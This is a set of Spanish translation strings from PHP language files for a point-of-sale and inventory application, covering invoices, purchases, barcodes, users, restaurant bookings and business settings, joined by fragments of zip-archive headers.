'close_cash_register' => 'Cerrar caja registradora', 'view_cash_register' => 'Ver caja registradora', 'for_tax_group_only' => 'Solo para el grupo fiscal', 'for_tax_group_only_help' => 'Si está marcado, este impuesto no se mostrará individualmente en los menús desplegables, solo se puede agregar en el grupo de impuestos', 'exempt' => 'Eximir', 'tax_exempt_help' => 'La tasa impositiva del cero por ciento se considerará exenta de impuestos', 'show_total_in_words' => 'Mostrar el total en palabras', 'show_in_word_help' => 'Es necesario habilitar la extensión php-intl', 'print_on_suspend' => 'Imprimir factura al suspender', 'view_all_customer' => 'Ver todos los clientes', 'view_own_customer' => 'Ver cliente propio', 'view_all_supplier' => 'Ver todos los proveedores', 'view_own_supplier' => 'Ver proveedor propio', 'label_help' => 'Imprimir código de barras / etiqueta', 'connection_type_windows' => 'Tipo de conexión Windows', 'connection_type_linux' => 'Tipo de conexión Linux', 'windows_type_help' => 'Los archivos del dispositivo estarán en la línea de', 'linux_type_help' => 'El archivo de su dispositivo de impresora estará en algún lugar como', 'due_date' => 'Fecha de vencimiento', 'quotation_no' => 'Número de cotización', 'browser_based_printing' => 'Impresión basada en navegador', 'configured_printer' => 'Usar impresora de recibos configurada', 'for_normal_printer' => 'Für normalen Drucker', 'recomended_for_80mm' => 'Empfohlen für Thermo-Belegempfangsdrucker, 80 mm Papiergröße', 'recomended_for_58mm' => 'Empfohlen für Thermo-Belegempfangsdrucker, Papierformat 80 mm und 58 mm', 'classic' => 'Klassisch', 'elegant' => 'Elegant', 'slim' => 'Schlank', 'detailed' => 'Detailliert', 'columnize_taxes' => 'Steuern kolumnisieren', 'types_of_service_help_long' => 'Tipo de servicio significa servicios como cena, paquetería, entrega a domicilio, entrega a terceros, etc. Se puede habilitar / deshabilitar desde <code> Configuración> Módulos </code> y se puede crear desde <code> Configuración> Tipos de servicio </code>. También puede definir diferentes grupos de precios y cargos por empaque para los tipos de servicios.', 'access_sell_return' => 'Acceder a la devolución de la venta', 'system_notification' => 'Notificación del sistema', 'time_range' => 'Intervalo de tiempo', 'enable_php_intl_extension' => 'Habilitar la extensión php-intl en la configuración de PHP INI', 'profit_note' => '<b> Nota: </b> Las ganancias por productos / categorías / marcas solo consideran el descuento en línea. No se considera el descuento en la factura.', 'upcoming_bookings' => 'Próximas reservas', 'is_refund' => 'Es reembolso', 'is_refund_help' => 'Si el gasto marcado se reembolsará y se agregará a la ganancia neta', 'refund' => 'Reembolso', 'activate' => 'Activar', 'deactivate' => 'Desactivar', 'add_quotation' => 'Agregar cotización', 'product_stock_history' => 'Historial de existencias de productos', 'quantities_in' => 'Cantidades en', 'quantities_out' => 'Cantidades fuera', 'in' => 'En', 'out' => 'Afuera', 'totals' => 'Totales', 'quantity_change' => 'Cambio de cantidad', 'new_quantity' => 'Nueva cantidad', 'no_stock_history_found' => 'No se ha encontrado historial de stock', 'add_draft' => 'Agregar borrador', 'labels_for_sale_shipping_custom_fields' => 'Etiquetas para la venta que envían campos personalizados', 'is_required' => 'Es requerido', 'convert_to_invoice' => 'Convertir en factura', 'converted_to_invoice_successfully' => 'Convertido a factura :invoice_no correctamente', 'proforma' => 'Proforma', 'proforma_invoice' => 'Factura de proforma', 'convert_to_proforma' => 'Convertir a factura proforma', 'converted_to_proforma_successfully' => 'Convertida a factura proforma', 'billing_address' => 'Dirección de Envio', 'delete_sell' => 'Eliminar venta', 'product_brochure' => 'Folleto del producto', 'whatsapp_text' => 'Texto de Whatsapp', 'auto_send_wa_notif' => 'Envío automático de notificaciones de Whatsapp', 'send_whatsapp' => 'Enviar notificación de Whatsapp', 'send_sms' => 'Enviar SMS', 'send_email' => 'Enviar correo electrónico', 'shipping_documents' => 'Documentos de envío', 'no_attachment_found' => 'No se encontró ningún archivo adjunto', 'attachments' => 'Archivos adjuntos', 'print_invoice' => 'Imprimir factura', 'word_format' => 'Formato de Word', 'international' => 'Internacional', 'indian' => 'Indio', 'word_format_help' => 'En formato internacional, los números grandes se representan en millones, billones y billones, mientras que en el formato indio se representan en lakhs y crores', 'shipping_edited' => 'Envío editado', 'payment_edited' => 'Pago editado', 'notification_sent' => 'Notificación enviada', 'imported' => 'Importado', 'logout' => 'Cerrar sesión', 'backup_clean_command_instruction' => 'Para limpiar la copia de seguridad antigua, debe configurar un trabajo cron con este comando:', 'converted' => 'Convertido', 'view_commission_agent_sell' => 'El comisario puede ver su propia venta', 'access_commission_agent_shipping' => 'El comisario puede acceder a sus propios envíos', 'access_own_shipping' => 'Acceder a envíos propios', 'email_notification_sent' => 'Notificación por correo electrónico enviada', 'sms_notification_sent' => 'Notificación por SMS enviada', 'packing_date' => 'Fecha de empaque', 'print_exp_date' => 'Imprimir fecha de caducidad', 'print_packing_date' => 'Imprimir fecha de embalaje', 'print_lot_number' => 'Imprimir número de lote', 'family_contact_number' => 'Número de contacto familiar', 'custom_payment' => 'Pago personalizado :number', 'default_credit_limit' => 'Límite de crédito predeterminado', 'price_calculation_type' => 'Tipo de cálculo de precio', 'show_pricing_on_product_sugesstion' => 'Mostrar precios en la descripción emergente de sugerencias de productos', 'all_purchase_orders' => 'Todas las órdenes de compra', 'add_purchase_order' => 'Agregar orden de compra', 'edit_purchase_order' => 'Editar orden de compra', 'purchase_order_details' => 'Detalles de la orden de compra', 'enable_purchase_order' => 'Habilitar orden de compra', 'purchase_order_help_text' => 'Una orden de compra es un documento comercial y la primera oferta oficial emitida por un comprador a un vendedor que indica tipos, cantidades y precios acordados para productos o servicios. Se utiliza para controlar la compra de productos y servicios de proveedores externos. Las órdenes de compra pueden ser una parte esencial de las órdenes del sistema de planificación de recursos empresariales. ', 'view_all_purchase_order' => 'Ver todas las órdenes de compra', 'view_own_purchase_order' => 'Ver orden de compra propia', 'create_purchase_order' => 'Crear orden de compra', 'delete_purchase_order' => 'Eliminar orden de compra', 'purchase_order_delete_success' => 'Orden de compra eliminada correctamente', 'order_quantity' => 'Ordene la cantidad', 'order_date' => 'Fecha de orden', 'max_quantity_quantity_allowed' => 'Max :quantity permitida', 'leave_empty_to_autogenerate' => 'Dejar vacío para autogenerar', 'add_edit_invoice_number' => 'Agregar editar número de factura', 'keep_blank_to_autogenerate' => 'Dejar en blanco para generar automáticamente', 'download_pdf' => 'Descargar PDF', 'attach_pdf_in_email' => 'Adjuntar factura pdf en correo electrónico', 'send_sms_whatsapp_notification' => 'Enviar notificación por sms / whatsapp', 'enable_sales_order' => 'Habilitar orden de venta', 'sales_order' => 'Órdenes de venta', 'sales_order_help_text' => 'La orden de venta, a veces abreviada como SO, es una orden emitida por una empresa o comerciante individual a un cliente. Una orden de venta puede ser de productos y / o servicios.', 'add_sales_order' => 'Agregar pedido de ventas', 'edit_sales_order' => 'Editar orden de venta', 'shipping_note' => 'Nota de envío', 'code_1_name' => 'Nombre del código 1', 'code_2_name' => 'Nombre del código 2', 'code_1' => 'Código 1', 'code_2' => 'Código 2', 'download_paking_pdf' => 'Descargar pdf de embalaje', 'subject_type' => 'Tipo de asunto', 'activity_log' => 'Registro de actividades', 'sell_deleted' => 'Vender eliminado', 'so_deleted' => 'Pedido de venta eliminado', 'po_deleted' => 'Orden de compra eliminada', 'purchase_deleted' => 'Compra eliminada', 'contact_deleted' => 'Contacto eliminado', 'payment_deleted' => 'Pago eliminado', 'quantity_remaining' => 'Cantidad restante', 'view_sale' => 'Ver venta', 'update_sale' => 'Actualizar venta', 'add_sell' => 'Agregar venta', 'account_details' => 'Detalles de la cuenta', 'label' => 'Etiqueta', 'prefer_payment_method' => 'Preferir método de pago', 'prefer_payment_account' => 'Preferir cuenta de pago', 'this_will_be_shown_in_pdf' => 'Método / cuenta preferidos donde el cliente puede pagar la factura. (Útil para facturas de crédito)', 'view_own_so' => 'Ver pedido de cliente propio', 'view_all_so' => 'Ver todos los pedidos de venta', 'create_so' => 'Crear pedido de cliente', 'edit_so' => 'Editar pedido de cliente', 'delete_so' => 'Eliminar pedido de ventas', 'types_of_service_custom_field_help' => 'Seis campos personalizados estarán disponibles al agregar vender', 'delete_expense' => 'Eliminar gastos', 'access_all_expense' => 'Acceder a todos los gastos', 'designation' => 'Designacion', 'department' => 'Departamento', 'is_default_for_contact' => 'Es el predeterminado para el contacto', 'individual' => 'Individual', 'is_export' => '¿Es exportar?', 'export' => 'Exportar', 'export_custom_field1' => 'Exportar campo personalizado 1', 'export_custom_field2' => 'Exportar campo personalizado 2', 'export_custom_field3' => 'Exportar campo personalizado 3', 'export_custom_field4' => 'Exportar campo personalizado 4', 'export_custom_field5' => 'Exportar campo personalizado 5', 'export_custom_field6' => 'Exportar campo personalizado 6', 'enable_export' => 'Habilitar exportación', 'edit_status' => 'Editar estado', 'status_updated' => 'Estado actualizado', 'item_discount_label' => 'Etiqueta de descuento de artículo', 'sales_orders' => 'Ordenes de venta', 'cash_denominations' => 'Denominaciones en efectivo', 'cash_denominations_help' => 'Valores separados por comas Ejemplo: 100,200,500,2000', 'denomination' => 'Denominación', 'count' => 'Contar', 'denomination_add_help_text' => 'Agregue denominaciones en Configuración -> Configuración comercial -> POS -> Denominaciones de efectivo', 'order_dates' => 'Fechas de pedido', 'by_category' => 'Por categoria', 'by_brand' => 'Por marca', 'no_brand' => 'Sin marca', 'woocommerce_sync' => 'Sincronización de WooCommerce', 'enable' => 'Permitir', 'disable' => 'Desactivar', 'cmmsn_calculation_type' => 'Tipo de cálculo de comisión', 'invoice_value' => 'Valor de la factura', 'total_payment_with_commsn' => 'Pago total con comisión', 'payments_with_cmmsn' => 'Pagos con comisión', 'view_all_drafts' => 'Ver todos los borradores', 'view_own_drafts' => 'Ver borradores propios', 'edit_draft' => 'Editar borrador', 'delete_draft' => 'Eliminar borrador', 'view_all_quotations' => 'Ver todas las cotizaciones', 'view_own_quotations' => 'Ver presupuestos propios', 'edit_quotation' => 'Editar cotización', 'delete_quotation' => 'Eliminar cita', 'primary_work_location' => 'Lugar de trabajo principal', 'labels_for_purchase_shipping_custom_fields' => 'Etiquetas para campos personalizados de envío de compra', 'view_own_purchase_n_stock_adjustment' => 'Ver compra propia y ajuste de existencias', 'view_all_purchase_n_stock_adjustment' => 'Ver todos los ajustes de compra y stock', 'access_all_shipments' => 'Acceder a todos los envíos', 'view_all_sale' => 'Ver todas las ventas', 'total_quantity' => 'Cantidad total', 'pending_shipments' => 'Envíos pendientes', 'view_paid_sells_only' => 'Ver solo ventas pagas', 'view_due_sells_only' => 'Ver solo las ventas vencidas', 'view_partially_paid_sells_only' => 'Ver solo ventas parcialmente pagadas', 'view_overdue_sells_only' => 'Ver solo ventas vencidas', 'customer_with_no_sell_one_month' => 'Ver clientes sin ventas desde solo un mes', 'customer_with_no_sell_three_month' => 'Ver clientes sin ventas desde solo tres meses', 'customer_with_no_sell_six_month' => 'Ver clientes sin ventas desde solo seis meses', 'customer_with_no_sell_one_year' => 'Ver los clientes sin ventas desde solo un año', 'customer_permissions_tooltip' => 'Para ver todos los clientes sin vender desde un momento específico, se requiere permiso para <b> Ver todos los clientes </b>; de lo contrario, se filtrará solo con los clientes creados por el usuario que inició sesión', 'sell_permissions_tooltip' => 'Para ver las ventas en función del estado de pago <b> Ver todas las ventas </b> se requiere el permiso; de lo contrario, se filtrará solo con las ventas creadas por el usuario que inició sesión', 'access_pending_shipments_only' => 'Acceder solo a envíos pendientes', 'access_all_sell_return' => 'Acceder a todas las ventas retrun', 'access_own_sell_return' => 'Acceder a la venta propia retrun', 'proforma_heading' => 'Título de la factura proforma', 'tooltip_proforma_heading' => 'El encabezado de la factura proforma se utiliza al proporcionar proforma a los clientes', 'line_taxes' => 'Impuestos de línea', 'add_additional_expenses' => 'Agregar gastos adicionales', 'additional_expense_name' => 'Nombre del gasto adicional', 'purchase_additional_expense' => 'Compra de gastos adicionales', 'qr_code' => 'Código QR', 'show_qr_code' => 'Mostrar código QR', 'fields_to_be_shown' => 'Campos a mostrar', 'business_location_address' => 'Dirección de la ubicación de la empresa', 'business_tax_1' => 'Impuesto empresarial 1', 'business_tax_2' => 'Impuesto empresarial 2', 'invoice_datetime' => 'Fecha y hora de la factura', 'total_amount_with_tax' => 'Importe total con impuestos', 'total_bank_transfer' => 'Transferencia bancaria total', 'total_advance_payment' => 'Pago anticipado total', 'commission_agent_label' => 'Etiqueta de comisionista', 'show_commission_agent' => 'Mostrar comisionista', 'cannot_change_role' => 'No se puede cambiar de rol', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Enlace de pago', 'enable_payment_link' => 'Habilitar enlace de pago', 'payment_link_help_text' => 'Al permitir que los usuarios puedan pagar la factura mediante el enlace de pago', 'invoice_payment' => 'Pago de la factura', 'payment_for_invoice_no' => 'Pago por número de factura', 'pending_shipments' => 'Envíos pendientes', 'sources' => 'Fuentes', 'stripe_secret_key' => 'Clave secreta de banda', 'stripe_public_key' => 'Stripe public key', 'edit_opening_balance' => 'Editar saldo inicial', 'edit_fund_transfer' => 'Editar transferencia de fondos', 'edit_deposit' => 'Editar depósito', 'deposit_to' => 'Depositar en', 'transfer_from' => 'Transferido de', 'edit_account_transaction' => 'Editar transacción de cuenta', 'delete_account_transaction' => 'Eliminar transacción de cuenta', 'add_purchase_payment' => 'Agregar pago de compra', 'edit_purchase_payment' => 'Editar pago de compra', 'delete_purchase_payment' => 'Eliminar pago de compra', 'add_sell_payment' => 'Agregar pago de venta', 'edit_sell_payment' => 'Editar pago de venta', 'delete_sell_payment' => 'Eliminar pago de venta', 'sales_order_heading' => 'Encabezado de orden de venta', 'account_balance' => 'Saldo de la cuenta', 'total_balance' => 'Balance total', 'account_balance_tooltip' => 'Saldo total de la cuenta en particular', 'total_balance_tooltip' => 'Saldo total de todas las cuentas', 'sell_additional_expense' => 'Vender gastos adicionales', 'view_export_buttons' => 'Ver la exportación a botones (csv / excel / print / pdf) en tablas', 'overall' => 'General', 'show_labels' => 'Mostrar etiquetas', 'zatca_qr' => 'Código QR de ZATCA (Fatoora)', 'zatca_qr_help' => 'Para el país de Arabia Saudita', 'customer_irrespective_of_sell' => 'Ver clientes independientemente de su venta', 'img_url_help_text' => 'O URL de la imagen', 'delivery_person' => 'Persona de entrega', 'enable_service_staff_pin' => 'Habilitar el PIN del personal de servicio', 'staff_pin' => 'PIN del personal', 'tooltip_is_enable_service_staff_pin' => 'Si está habilitado, durante las ventas/punto de venta, cuando se seleccione a este usuario como personal de servicio, se debe introducir el PIN; un PIN incorrecto no permitirá la selección de este usuario como personal de servicio.', 'kitchen_order' => 'Orden de cocina', 'kitchen_order_tooltip' => 'El pedido se enviará a la cocina solo si esta opción está marcada', 'disable_quotation' => 'Desactivar Cotización', 'disable_card' => 'Desactivar Tarjeta', 'assigned_to' => 'Asignado a', 'has_no_sell_from' => 'No tiene venta desde', 'delivery_note' => 'Nota de entrega', 'above_mentioned_items_received_in_good_condition' => 'Los artículos mencionados anteriormente se recibieron en buen estado', 'received_by' => 'Recibido por', 'enter_details_below_to_check_repair_status' => 'Ingrese los detalles a continuación para verificar el estado de la reparación', 'search_by' => 'Buscar por' ]; PK G �Z���"e e es/barcode.phpnu �[��� <?php return [ 'barcodes' => 'Códigos de barras', 'barcode_settings' => 'Configuraciones de código de barras', 'manage_your_barcodes' => 'Gestiona la configuración de tu código de barras', 'all_your_barcode' => 'Toda la configuración de tu código de barras', /* modified */ 'setting_name' => 'Nombre de configuración de la hoja adhesiva', 'setting_description' => 'Configuración de la hoja adhesiva Descripción', 'added_success' => 'Ajuste de código de barras agregado con éxito', 'updated_success' => 'Configuración del código de barras actualizada con éxito', 'deleted_success' => 'La configuración del código de barras se eliminó correctamente', 'add_new_setting' => 'Agregar nueva configuración', 'add_barcode_setting' => 'Agregar configuración de etiqueta de código de barras', 'edit_barcode_setting' => 'Editar configuración de etiqueta de código de barras', 'in_in' => 'En pulgadas', 'width' => 'Ancho de la etiqueta', /* modified */ 'height' => 'Altura de la etiqueta', 'top_margin' => 'Margen superior adicional', 'left_margin' => 'Margen izquierdo adicional', 'row_distance' => 'Distancia entre dos filas', 'col_distance' => 'Distancia entre dos columnas', 'blank_stickers' => 'Pegatinas en blanco', 'stickers_in_one_row' => 'Pegatinas en una fila', 'delete_confirm' => "Esta configuración se eliminará \n ¿Estás seguro?", 'set_as_default' => 'Establecer por defecto', 'default' => 'Defecto', 'default_set_success' => 'Ajuste predeterminado establecido con éxito', 'stickers_in_one_sheet' => 'Nº de pegatinas por hoja', 'is_continuous' => 'Alimentación continua o rollos', 'products' => 'Productos', 'no_of_labels' => 'Nº de etiquetas', 'info_in_labels' => 'Información para mostrar en etiquetas', 'print_name' => 'Nombre del producto', 'print_variations' => 'Variación del producto (recomendado)', 'print_price' => 'Precio del producto', 'show_price' => 'Mostrar precio', 'preview' => 'Avance', 'print_business_name' => 'Nombre de la empresa', /* modified */ 'barcode_setting' => 'Ajuste del código de barras', 'paper_width' => 'Ancho del papel', 'paper_height' => 'Altura del papel', 'print_labels' => 'Imprimir etiquetas', 'labels' => 'Etiquetas', ]; PK G �Z� �y y es/user.phpnu �[��� <?php return [ 'edit_profile' => 'Editar perfil', 'change_password' => 'Cambia la contraseña', 'current_password' => 'Contraseña actual', 'new_password' => 'Nueva contraseña', 'confirm_new_password' => 'Confirmar nueva contraseña', 'user_management' => 'Gestión de usuarios', 'roles' => 'Roles', 'users' => 'Usuarios', 'manage_roles' => 'Gestionar roles', 'all_roles' => 'Todos los roles', 'add_role' => 'Agregar rol', 'role_name' => 'Nombre de rol', 'permissions' => 'Permisos', 'role_added' => 'Rol agregado con éxito', 'role_already_exists' => 'El rol con el mismo nombre ya existe', /* modified */ 'edit_role' => 'Editar rol', 'role_updated' => 'Rol actualizado con éxito', 'role_deleted' => 'Rol eliminado con éxito', 'manage_users' => 'Administrar usuarios', 'all_users' => 'Todos los usuarios', 'name' => 'Nombre', 'role' => 'Rol', /* modified */ 'add_user' => 'Agregar usuario', 'user_added' => 'Usuario agregado con éxito', 'role_is_default' => 'No puedes modificar este rol', 'edit_user' => 'Editar usuario', 'leave_password_blank' => 'Deje el campo de contraseña en blanco si no desea actualizar la contraseña', 'user_update_success' => 'Usuario actualizado con éxito', 'user_delete_success' => 'Usuario eliminado con éxito', ]; PK G �Z��5� es/restaurant.phpnu �[��� <?php return [ 'restaurant' => 'Restaurante', 'tables' => 'Mesas', 'table' => 'Mesa', 'manage_your_tables' => 'Gestionar mesas de restaurante', 'all_your_tables' => 'Todas las mesas del restaurante', 'description' => 'Descripción', 'add_table' => 'Añadir tabla', 'edit_table' => 'Editar tabla', 'table_name' => 'Nombre de la tabla', 'short_description' => 'Breve descripción', 'select_table' => 'Seleccionar tabla', 'show_table' => 'Mostrar tabla', 'table_label' => 'Etiqueta de la mesa', 'show_service_staff' => 'Mostrar personal de servicio', 'service_staff_label' => 'Etiqueta del personal de servicio', 'select_waiter' => 'Seleccionar camarero', 'modifiers' => 'Modificadores', 'modifier_sets' => 'Conjuntos de modificadores', 'manage_your_modifiers' => 'Gestionar todos los modificadores de restaurante', 'all_your_modifiers' => 'Todos los modificadores', 'add_modifier' => 'Añadir modificador', 'modifier_set' => 'Conjunto de modificadores', 'modifier' => 'Modificadores', 'edit_modifier' => 'Modificar modificador', 'manage_products' => 'Gestionar productos', 'products' => 'Productos', 'modifiers_for_product' => 'Modificadores para producto', 'kitchen' => 'Cocina', 'mark_as_cooked' => 'Marcar como cocido', 'manage_your_kitchen' => 'Gestiona tu cocina', 'all_orders' => 'Todas las órdenes', 'order_no' => 'N º de pedido.', 'order_statuses' => [ 'received' => 'Recibido', 'cooked' => 'Cocido', 'served' => 'Servido', '' => 'Recibido', ], 'order_successfully_marked_cooked' => 'Orden marcada exitosamente como cocinada', 'order_successfully_marked_served' => 'Orden exitosamente marcada como servida', 'orders' => 'Pedidos', 'manage_your_orders' => 'Gestiona tus pedidos', 'all_your_orders' => 'Todos tus pedidos', 'mark_as_served' => 'Marcar como servido', 'placed_at' => 'Colocado en', 'order_status' => 'Estado del pedido', 'order_details' => 'Detalles del pedido', 'refresh' => 'Refrescar', 'no_orders_found' => 'No se encontraron pedidos', 'select_service_staff' => 'Seleccionar personal de servicio', 'service_staff' => 'Personal de servicio', 'kitchen_for_restaurant' => 'Cocina (Para restaurantes)', 'products_for_modifier' => 'Productos para modificador', 'is_service_staff' => 'Es personal de servicio', 'tooltip_tables' => 'Utilizado principalmente en restaurantes, bares, salones, etc.', 'tooltip_modifiers' => 'Elementos adicionales agregados con el producto principal <br> Ejemplo: Ingredientes, queso', 'tooltip_service_staff' => 'Persona que presta el servicio designado a los clientes. Ejemplo: personal de espera en restaurantes, peluquerías en salones', 'modules_settings' => 'Configuraciones de módulos', 'bookings' => 'Reservas', 'add_edit_view_all_booking' => 'Añadir / Editar / Ver todas las reservas', 'add_edit_view_own_booking' => 'Añadir / Editar / Ver reservas propias', 'add_booking' => 'Añadir nueva reserva', 'start_time' => 'Hora de inicio', 'end_time' => 'Hora de finalización', 'booking_not_available' => 'Tabla ya reservada para <b>:customer_name</b> entre <b>:booking_time_range</b>', 'select_correspondent' => 'Seleccionar corresponsal', 'send_notification_to_customer' => 'Enviar notificación de correo electrónico / SMS al cliente', 'booking_details' => 'Detalles de la reserva', 'correspondent' => 'Corresponsal', 'booking_starts' => 'La reserva comienza', 'booking_ends' => 'Fin de reserva', 'cancelled' => 'Cancelado', 'completed' => 'Terminado', 'change_booking_status' => 'Cambiar estado de reserva', 'booked' => 'Reservado', 'delete_booking' => 'Eliminar reserva', 'click_on_any_booking_to_view_or_change_status' => 'Haga clic en cualquier reserva para ver los detalles o cambiar el estado', 'double_click_on_any_day_to_add_new_booking' => 'Haga doble clic en cualquier día para agregar una nueva reserva', 'todays_bookings' => 'Las reservas de hoy', 'hello_name' => 'Hola :name!', 'booking_confirmed' => 'Su reserva ha sido confirmada.', 'table_info' => 'Tabla: :table', 'booking_time_info' => 'De :from A :to', 'new_booking_subject' => 'Nueva reserva -:business_name', 'customer_note' => 'Nota al cliente', 'table_report' => 'Informe de tabla', 'service_staff_report' => 'Informe del personal de servicio', 'service_staff_replacement' => 'Reemplazo de personal de servicio', ]; PK G �Z_h� : : es/purchase.phpnu �[��� <?php return [ 'supplier' => 'Proveedor', 'ref_no' => 'Numero de referencia', 'business_location' => 'Ubicación de la empresa', 'purchases' => 'Compras', 'add_payment' => 'Agregar pago', 'edit_payment' => 'Editar pago', 'view_payments' => 'Ver pagos', 'amount_already_paid' => 'Cantidad ya pagada', 'payment_added_success' => 'Pago agregado con éxito', 'payment_updated_success' => 'Pago actualizado con éxito', 'payment_deleted_success' => 'Pago eliminado con éxito', 'amount' => 'Cantidad', 'payment_method' => 'Método de pago', 'no_records_found' => 'No se encontrarón archivos', 'payment_due' => 'Fecha pago', /* modified */ 'purchase_total' => 'Total compra', /* modified */ 'location' => 'Ubicación', 'payment_note' => 'Nota de pago', 'all_purchases' => 'Todas las compras', 'purchase_status' => 'Estado de compra', 'payment_status' => 'Estado de pago', 'grand_total' => 'Gran total', 'add_purchase' => 'Agregar compra', 'purchase_date' => 'Fecha de compra', 'purchase_quantity' => 'Cantidad de compra', 'unit_cost_before_tax' => 'Costo unitario (antes de impuestos)', 'subtotal_before_tax' => 'Subtotal (antes de impuestos)', 'product_tax' => 'Impuesto sobre el producto', 'net_cost' => 'Coste neto', /* modified */ 'line_total' => 'Linea total', 'unit_selling_price' => 'Precio de venta unitario', /* modified */ 'total_before_tax' => 'Total antes de impuestos', /* modified */ 'net_total_amount' => 'Importe total neto', 'discount_type' => 'Tipo de descuento', 'discount_amount' => 'Importe de descuento', 'discount' => 'Descuento', 'edit_purchase' => 'Editar compra', 'purchase_tax' => 'Impuesto de compra', 'shipping_details' => 'Detalles de envío', 'additional_shipping_charges' => 'Cargos de envío adicionales', 'additional_notes' => 'Notas adicionales', 'purchase_add_success' => 'Compra agregada con éxito', /* modified */ 'purchase_update_success' => 'Compra actualizada con éxito', 'purchase_details' => 'Detalles de la compra', 'unit_cost_after_tax' => 'Precio de coste unitario (después de impuestos)', /* modified */ 'total_after_tax' => 'Total después de impuestos', 'no_payments' => 'No se encontraron pagos', 'allow_purchase_different_currency' => 'Compras en otra moneda', 'purchase_currency' => 'Moneda de compra', 'p_exchange_rate' => 'Tasa de cambio de moneda', 'diff_purchase_currency_help' => 'La divisa de compra está configurada en <strong> :currency </strong>', 'list_purchase' => 'Lista de compras', 'attach_document' => 'Documento adjunto', 'download_document' => 'Descargar documento', 'max_file_size' => 'Tamaño máximo de archivo: :sizeMB', ]; PK G �ZQ_} } es/business.phpnu �[��� <?php return [ 'register_and_get_started_in_minutes' => 'Registrarse y comenzar en minutos', 'business_name' => 'Nombre de la empresa', /* modified */ 'start_date' => 'Fecha de inicio', 'currency' => 'Moneda', 'currency_placeholder' => 'Seleccione el tipo de moneda', 'upload_logo' => 'Cargar logotipo', 'country' => 'País', 'state' => 'Estado', 'city' => 'Ciudad', 'zip_code' => 'Código postal', 'zip_code_placeholder' => 'Código Postal / Zip', 'landmark' => 'Punto de referencia', 'tax_1_name' => 'Impuesto 1 Nombre', /* modified */ 'tax_1_no' => 'Impuesto 1 No', 'tax_2_name' => 'Impuesto 2 Nombre', /* modified */ 'tax_2_no' => 'Impuesto 2 No', 'tax_1_placeholder' => 'GST / VAT / Otro', 'prefix' => 'Prefijo', 'prefix_placeholder' => 'Señor, señora, señorita', /* modified */ 'first_name' => 'Nombre de pila', 'last_name' => 'Apellido', 'username' => 'Nombre de usuario', 'email' => 'Email', 'password' => 'Contraseña', 'confirm_password' => 'Confirmar contraseña', 'register' => 'Registro', 'business' => 'Empresa', /* modified */ 'address' => 'Dirección', 'logo_help' => 'El logotipo anterior (si existe) será reemplazado', 'update_settings' => 'Ajustes de actualización', 'business_settings' => 'Configuración de la empresa', /* modified */ 'settings_updated_success' => 'Configuración actualizada con éxito', 'default_profit_percent' => 'Porcentaje de beneficio predeterminado', 'default_sales_tax' => 'Impuesto de venta predeterminado', /* modified */ 'default_sales_discount' => 'Descuento de venta predeterminado', /* modified */ 'business_details' => 'Detalles comerciales', 'tax' => 'Impuesto', 'tax_details' => 'Detalles de impuestos', 'owner' => 'Propietario', 'owner_info' => 'Información del propietario', 'sale' => 'Venta', 'sell_price_tax' => 'Precio de venta', 'product' => 'Producto', 'sku_prefix' => 'Prefijo SKU', 'language' => 'Idioma', 'time_zone' => 'Zona horaria', 'months' => [ 1 => 'enero', 2 => 'febrero', 3 => 'marzo', 4 => 'abril', 5 => 'mayo', 6 => 'junio', 7 => 'julio', 8 => 'agosto', 9 => 'septiembre', 10 => 'octubre', 11 => 'noviembre', 12 => 'diciembre', ], 'fy_start_month' => 'Mes de inicio del año fiscal', /* modified */ 'accounting_method' => 'Método de contabilidad', 'fifo' => 'FIFO (Primero en entrar primero en salir)', 'lifo' => 'LIFO (último en entrar primero en salir)', 'business_locations' => 'Ubicaciones comerciales', 'business_location' => 'Ubicación comercial', /* modified */ 'manage_your_business_locations' => 'Administre las ubicaciones comerciales', /* modified */ 'all_your_business_locations' => 'Todas las ubicaciones comerciales', /* modified */ 'add_business_location' => 'Agregar una nueva ubicación comercial', /* modified */ 'business_location_added_success' => 'Ubicación comercial añadida con éxito', /* modified */ 'edit_business_location' => 'Editar ubicación comercial', 'business_location_updated_success' => 'Ubicación comercial actualizada con éxito', 'location' => 'Ubicación', 'already_registered' => '¿Ya registrado?', 'sign_in' => 'Registrarse', 'not_yet_registered' => '¿Todavía no está registrado?', 'register_now' => 'Regístrate ahora', 'system' => 'Sistema', 'show_help_text' => 'Mostrar texto de ayuda', 'mobile' => 'Móvil', 'alternate_number' => 'Número de contacto alternativo', 'email' => 'Email', 'settings' => 'Configuraciones', 'transaction_edit_days' => 'Días de edición de transacción', 'dashboard' => 'Tablero', 'view_stock_expiry_alert_for' => 'Ver Alerta de esxpiración de stocl para', /* modified */ 'days' => 'Dias', 'system_settings' => 'Ajustes del sistema', 'add_keyboard_shortcuts' => 'Agregar atajos de teclado', 'operations' => 'Operaciones', 'keyboard_shortcut' => 'Atajo de teclado', 'business_created_succesfully' => '¡Empresas creadas con éxito!', /* modified */ 'tax_number1' => 'Número fiscal 1', 'tax_number2' => 'Número fiscal 2', 'is_active' => 'Activo', 'created_by' => 'Creado por', ]; PK G �Zy�c٪ � es/cash_register.phpnu �[��� <?php return [ 'cash_register' => 'Caja registradora', 'manage_your_cash_register' => 'Administrar registros en efectivo', 'all_your_cash_register' => 'Todos los registros en efectivo', 'cash_in_hand' => 'Dinero en efectivo', 'open_cash_register' => 'Abrir caja registradora', 'enter_amount' => 'Ingresar cantidad', 'open_register' => 'Abrir registro', 'register_details' => 'Registrar detalles', 'cash_payment' => 'Pago en efectivo', 'checque_payment' => 'Verificar pago', 'card_payment' => 'Pago con tarjeta', 'bank_transfer' => 'Transferencia bancaria', 'other_payments' => 'Otros pagos', 'total_sales' => 'Ventas totales', 'total_cash' => 'Efectivo total', 'current_register' => 'Registro actual', 'close_register' => 'Cerrar registro', 'total_card_slips' => 'Total pases de tarjetas', /* modified */ 'total_cheques' => 'Total cheques', /* modified */ 'closing_note' => 'Nota de cierre', 'close_success' => 'Registro cerrado con éxito', 'open' => 'Abierto', 'close' => 'Cerrar', /* modified */ 'total_refund' => 'Reembolso total', 'refunds' => 'Reembolsos', ]; PK G �Z�/W�m m es/tooltip.phpnu �[��� <?php return [ 'product_stock_alert' => "Productos con poco stock. <br/> <small class='text-muted'> Basado en la cantidad de alerta del producto establecida en la pantalla agregar producto. Compre este producto antes de que el stock termine. </small>", 'payment_dues' => "Pago pendiente por compras. <br/> <small class='text-muted'> Basado en el término de pago del proveedor. <br/> Mostrando pagos a ser pagados en 7 días o menos. </small>", /* modified */ 'input_tax' => 'Impuesto total recaudado para las ventas dentro del período de tiempo seleccionado.', 'output_tax' => 'Impuesto total pagado por compras durante el período de tiempo 